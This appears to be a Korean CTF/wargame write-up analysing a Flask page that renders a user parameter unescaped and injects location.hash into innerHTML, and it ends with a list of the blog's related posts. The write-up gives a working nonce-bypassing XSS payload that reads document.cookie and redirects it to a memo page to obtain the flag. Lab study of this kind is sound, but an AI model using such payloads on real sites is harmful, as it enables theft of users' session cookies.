엔드 포인트 분석
/vuln
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return render_template("vuln.html", nonce=nonce, param=param)
해당 함수에서는 파라미터를 사용자에게 받고 받은 값을 param에 넘겨준다. 그리고 vuln.html을 반환한다. 여기서 vuln.html을 반환할때 render_template함수를 사용하고 있기 때문에 XSS는 어려울것으로 예상된다.
vuln.html
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ super() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<script nonce={{ nonce }}>
window.addEventListener("load", function() {
var name_elem = document.getElementById("name");
name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
});
</script>
{{ param | safe }}
<pre id="name"></pre>
{% endblock %}
id가 name인 태그를 가져온 뒤에 name_elem에 저장한다.
그리고 주소장에 있는 hash 값을 가져온다. 그리고 <pre id="name"> 태그에 `hash값` is my name을 삽입함.
그리고 {{ param | safe }}라는 태그가 보이는데, 해당 태그는 사용자가 param에 입력한 값을 그대로 출력해준다.
익스플로잇
{{ param | safe }}를 통해 사용자가 입력한 값을 그대로 출력한다고 했기에
<script id="name">
alert(1);//
</script>
vuln 페이지에서 param에 <script id="name"></script>를 입력하고 hash 뒤에 alert(1);//를 입력하면 스크립트가 위와 같이 완성되어 alert(1)을 실행하게 될 것이다.
param = <script id="name"></script>
# = location.href='/memo?memo='+document.cookie;//
이렇게 입력해주면 memo 페이지에 flag가 출력되어있는 것을 확인할수 있을 것이다.

그리고 ""가 아닌 ''를 쓰는 이유는 vuln페이지에서 ""는 인코딩하지만 ''는 인코딩하지않기 때문이다.
'CTF & Wargame(WEB)' 카테고리의 다른 글
| level 1 error based sql injection (0) | 2025.04.22 |
|---|---|
| level 2 blind sql injection advanced (0) | 2025.04.22 |
| level 3 XS-Search (0) | 2025.04.22 |
| level 2 Relative Path Overwrite Advanced (0) | 2025.04.21 |
| RPO(Relative Path Overwrite) 이해하기 (0) | 2025.04.21 |